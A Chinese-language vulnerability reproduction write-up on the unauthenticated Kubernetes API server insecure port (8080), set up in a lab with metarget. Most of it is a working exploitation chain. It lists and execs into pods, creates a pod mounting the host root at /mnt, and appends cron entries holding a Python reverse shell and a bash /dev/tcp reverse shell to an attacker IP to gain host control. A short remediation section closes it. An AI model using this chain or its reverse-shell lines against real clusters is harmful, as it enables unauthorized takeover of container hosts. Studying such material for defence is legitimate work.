Kubernetes Api Server未授权访问
免责声明:由于传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本篇文章作者不为此承担任何责任,一旦造成后果请自行承担!
简介
kube-apiserver 是 Kubernetes 最重要的核心组件之一,主要提供以下的功能
- 提供集群管理的 REST API 接口,包括认证授权、数据校验以及集群状态变更等
- 提供其他模块之间的数据交互和通信的枢纽(其他模块通过 API Server 查询或修改数据,只有 API Server 才直接操作 etcd)
根据官方文档,API Server默认会开启两个端口(低版本):Localhost Port/Insecure Port(8080)和Secure Port (6443)
1.Insecure Port(Localhost Port)
- 默认端口8080,当--insecure-port值默认为0,表示此端口默认是关闭的。如果需要开启 HTTP 非安全端口模式,可以把 --insecure-port 值设置为8080
- 默认IP是本地主机,修改标识 --insecure-bind-address
- 在HTTP中没有认证和授权检查
- 主机访问受保护
2.Secure Port
- 默认端口6443,标识--secure-port
- 默认IP是首个非本地主机的网络接口,修改标识 --bind-address
- HTTPS服务。设置证书和秘钥的标识,--tls-cert-file,--tls-private-key-file
- 认证方式,令牌文件或者客户端证书
- 使用基于策略的授权方式
其中8080端口无需认证,6443端口需要认证且有TLS保护,正常情况下 Api Server 是有权限控制的,分三种:Authentication、Authorization、AdmissionControl
如果运维人员没有合理的配置验证和权限,那么攻击者就可以通过这两个接口去获取容器的权限,甚至通过创建自定义的容器去获取宿主机的权限。
在1.10版本k8s ChangeLog文档中提出弃用并在将来废除不安全标志
The ability to use the insecure flags --insecure-bind-address, --insecure-port in the apiserver has been deprecated and will be removed in a future release. Use --secure-port and --bind-address instead.
https://github.com/kubernetes/kubernetes/pull/59018
kubernetes/CHANGELOG/CHANGELOG-1.10.md at master · kubernetes/kubernetes · GitHub
从 v1.20 开始,--insecure-port
该端口将被永久禁用,并在以后的版本中删除该标志。官方文档描述如下:
ACTION REQUIRED: The kube-apiserver ability to serve on an insecure port, deprecated since v1.10, has been removed. The insecure address flags --address and --insecure-bind-address have no effect in kube-apiserver and will be removed in v1.24. The insecure port flags --port and --insecure-port may only be set to 0 and will be removed in v1.24
https://github.com/kubernetes/kubernetes/pull/95856
kubernetes/CHANGELOG/CHANGELOG-1.20.md at master · kubernetes/kubernetes · GitHub
环境搭建
使用metarge搭建k8s低版本
./metarget gadget install k8s --version 1.16.5 --domestic
漏洞复现
修改
/etc/kubernetes/manifests/kube-apiserver.yaml
文件,添加
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0
重启
kubectl systemctl restart kubelet
netstat -tlnp | grep kube-apiserver #查看8080是否正常监听
漏洞验证
直接访问 8080 端口会返回可用的 API 列表
漏洞利用
利用方式按严重程度来说分两种,一种是直接通过利用 kubectl 客户端调用 Secure Port 接口去控制已经创建好的容器。另外一种利用方法就是通过创建一个自定义的容器将系统根目录的文件挂在到/mnt目录,通过修改/mnt/etc/crontab 来影响宿主机的 crontab,获取一个反弹 Shell 拿到宿主机的权限。
通过下面命令,去发现已经存在的容器
kubectl -s ip:port get pods 获取pod
// 获得所有容器
> kubectl -s 192.168.47.195:8080/ get pods --all-namespaces=true
// 在 myapp 容器获得一个交互式 shell
> kubectl -s 192.168.47.195:8080/ --namespace=default exec -it myapp bash
能够控制pod的运行(此步骤与下面获取宿主机权限pod操作没有联系,这一步进入myapp pod是测试时主机只有一个myapp pod,作用是可以通过k8s API获取远程主机上pod的shell权限,若有其他pod修改pod名称即可进入获取对应pod shell权限)
若想进一步提升控制权限,获得宿主机的shell权限,可通过创建一个pod -> 挂载宿主机目录 -> 写 /etc/crontab 定时任务反弹 shell
根据 Kubernetes 文档中挂载节点目录的例子,可以写一个 myapp.yaml
,将节点的根目录挂载到容器的 /mnt
目录(也可以挂到其他目录如/tmp等)。
apiVersion: v1
kind: Pod
metadata:
name: myapp
spec:
containers:
- image: nginx
name: test-container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
然后使用kubectl创建pod
kubectl -s 192.168.47.195:8080 create -f myapp.yaml
pod没有创建成功根据内容提示需要添加参数 --validate=false,添加参数重新执行
kubectl -s 192.168.47.195:8080 create -f myapp.yaml --validate=false
创建成功。获取pod的交互式shell
> kubectl -s 192.168.47.195:8080 --namespace=default exec -it myapp bash
将反弹语句写入定时任务(为何不使用bash反弹语句写入定时任务,稍后说明)
echo -e "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.47.170\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /mnt/etc/crontab
查看监听端反弹成功
bash反弹利用
在将反弹shell写入定时任务时,一开始是使用bash反弹写的
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.47.170/3378 0>&1\n" >> /mnt/etc/crontab
发现监听端没有成功建立连接,查看靶机/var/log/syslog
k8s是部署在ubuntu系统上的,Ubuntu系统默认会将计划任务的错误信息以邮件的方式发送给用户,由于没有安装邮件系统无法查看真实的错误,只能看到(CRON) info (No MTA installed, discarding output),修改定时任务的反弹语句
* * * * * root bash -i '>&/dev/tcp/192.168.47.170/3378 0>&1'>/tmp/error1.txt 2>&1
查看error1.txt文件
第一行:无法设定终端进程组
第二行:此shell中无任务控制
错误说/bin/bash没有被找到,linux里面的cron中command执行的shell环境是/bin/sh,看下ubuntu的/bin/sh
ls -l | grep -w 'sh'
可以看到/bin/sh 文件实际上是一个软链接文件,他指向的是dash这个shell,而实际上dash这个shell只有运行脚本的能力,而没有交互能力。这里我们只需要将修改sh的软链接为bash即可
ln -s -f bash /bin/sh
再次查看
按照上面写定时任务步骤写入bash反弹语句,监听端监听主机后成功建立连接
这种方法修改k8s宿主机上配置,所以没有使用这种反弹方法。
修复
对Kubernetes API Server增加认证和授权配置
https://kubernetes.io/docs/reference/access-authn-authz/authentication/#static-password-file
参考
Kubernetes Api Server 未授权访问漏洞 | Brickの小黑屋 (moyu.life)
通过kubectl攻击存在未授权访问漏洞的Kubernetes · Issue #6 · zj1244/Blog (github.com)
kubernetes/CHANGELOG at master · kubernetes/kubernetes · GitHub